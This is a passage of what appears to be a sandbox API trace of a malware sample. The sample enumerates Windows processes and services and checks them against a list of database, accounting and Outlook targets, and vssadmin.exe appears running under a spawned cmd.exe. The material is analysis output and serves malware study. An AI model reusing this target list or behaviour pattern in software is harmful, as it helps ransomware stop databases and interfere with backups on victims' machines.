	[0057.730] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0057.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0057.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0057.730] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0057.730] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0057.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0057.730] lstrlenW (lpString="Winmgmt") returned 7
	[0057.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0057.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0057.730] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0057.730] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0057.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0057.730] lstrlenW (lpString="WPDBusEnum") returned 10
	[0057.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0057.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0057.730] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0057.730] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0057.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0057.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ec0068 | out: hHeap=0x4f0000) returned 1
	[0057.730] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x184
	[0057.733] Process32FirstW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0057.734] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0057.734] lstrlenW (lpString="System") returned 6
	[0057.734] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0057.735] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0057.735] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0057.735] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0057.735] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0057.735] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0057.735] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0057.735] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0057.735] lstrlenW (lpString="smss.exe") returned 8
	[0057.735] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0057.735] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0057.735] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0057.736] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0057.736] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0057.736] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0057.736] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0057.736] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0057.736] lstrlenW (lpString="csrss.exe") returned 9
	[0057.736] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0057.736] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0057.736] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0057.736] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0057.737] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0057.737] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0057.737] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0057.737] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0057.737] lstrlenW (lpString="wininit.exe") returned 11
	[0057.737] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0057.737] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0057.737] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0057.738] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0057.738] lstrlenW (lpString="csrss.exe") returned 9
	[0057.738] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0057.739] lstrlenW (lpString="winlogon.exe") returned 12
	[0057.739] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0057.740] lstrlenW (lpString="services.exe") returned 12
	[0057.740] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0057.741] lstrlenW (lpString="lsass.exe") returned 9
	[0057.741] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0057.742] lstrlenW (lpString="lsm.exe") returned 7
	[0057.742] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.742] lstrlenW (lpString="svchost.exe") returned 11
	[0057.742] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.743] lstrlenW (lpString="svchost.exe") returned 11
	[0057.743] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.744] lstrlenW (lpString="svchost.exe") returned 11
	[0057.744] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.745] lstrlenW (lpString="svchost.exe") returned 11
	[0057.745] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.745] lstrlenW (lpString="svchost.exe") returned 11
	[0057.745] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0057.746] lstrlenW (lpString="audiodg.exe") returned 11
	[0057.746] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.747] lstrlenW (lpString="svchost.exe") returned 11
	[0057.747] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.748] lstrlenW (lpString="svchost.exe") returned 11
	[0057.748] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0057.748] lstrlenW (lpString="dwm.exe") returned 7
	[0057.748] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0057.749] lstrlenW (lpString="explorer.exe") returned 12
	[0057.749] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0057.750] lstrlenW (lpString="spoolsv.exe") returned 11
	[0057.750] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0057.751] lstrlenW (lpString="taskhost.exe") returned 12
	[0057.751] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.751] lstrlenW (lpString="svchost.exe") returned 11
	[0057.751] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0057.752] lstrlenW (lpString="taskeng.exe") returned 11
	[0057.752] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0057.753] lstrlenW (lpString="taskhost.exe") returned 12
	[0057.753] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0057.861] lstrlenW (lpString="program.exe") returned 11
	[0057.863] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0057.875] lstrlenW (lpString="felt.exe") returned 8
	[0057.877] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0057.887] lstrlenW (lpString="bibliography.exe") returned 16
	[0057.890] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0057.899] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0057.899] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0057.900] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0057.900] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0057.901] lstrlenW (lpString="converter.exe") returned 13
	[0057.901] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0057.901] lstrlenW (lpString="once.exe") returned 8
	[0057.901] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0057.902] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0057.902] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0057.903] lstrlenW (lpString="always.exe") returned 10
	[0057.903] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0057.904] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0057.904] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0057.905] lstrlenW (lpString="donated.exe") returned 11
	[0057.905] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0057.906] lstrlenW (lpString="nowherepike.exe") returned 15
	[0057.906] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0057.907] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0057.907] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0057.907] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0057.907] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0057.908] lstrlenW (lpString="allowance.exe") returned 13
	[0057.908] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0057.909] lstrlenW (lpString="conducting affect.exe") returned 21
	[0057.909] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0057.910] lstrlenW (lpString="plaintiff.exe") returned 13
	[0057.910] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0057.910] lstrlenW (lpString="dialog.exe") returned 10
	[0057.911] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0057.911] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0057.911] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0057.912] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0057.912] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0057.913] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0057.913] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0057.913] lstrlenW (lpString="swpesp.exe") returned 10
	[0057.913] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0057.914] lstrlenW (lpString="cmd.exe") returned 7
	[0057.914] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0057.915] lstrlenW (lpString="conhost.exe") returned 11
	[0057.915] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0057.916] lstrlenW (lpString="vssadmin.exe") returned 12
	[0057.916] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0057.916] lstrlenW (lpString="VSSVC.exe") returned 9
	[0057.916] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.917] lstrlenW (lpString="svchost.exe") returned 11
	[0057.917] Process32NextW (in: hSnapshot=0x184, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0057.918] CloseHandle (hObject=0x184) returned 1
	[0057.918] Sleep (dwMilliseconds=0x1f4) 
	[0058.891] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d06b0
	[0059.330] EnumServicesStatusExW (in: hSCManager=0x35d06b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0059.358] GetLastError () returned 0xea
	[0059.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12c6) returned 0x5e4198
	[0059.358] EnumServicesStatusExW (in: hSCManager=0x35d06b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e4198, cbBufSize=0x12c6, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e4198, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0059.431] CloseServiceHandle (hSCObject=0x35d06b0) returned 1
	[0059.476] lstrlenW (lpString="Appinfo") returned 7
	[0059.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0059.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0059.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0059.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0059.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0059.476] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0059.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0059.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0059.476] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0059.476] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0059.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0059.476] lstrlenW (lpString="AudioSrv") returned 8
	[0059.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0059.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0059.476] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0059.476] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0059.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0059.476] lstrlenW (lpString="BFE") returned 3
	[0059.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0059.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0059.476] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0059.476] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0059.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0059.476] lstrlenW (lpString="CryptSvc") returned 8
	[0059.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
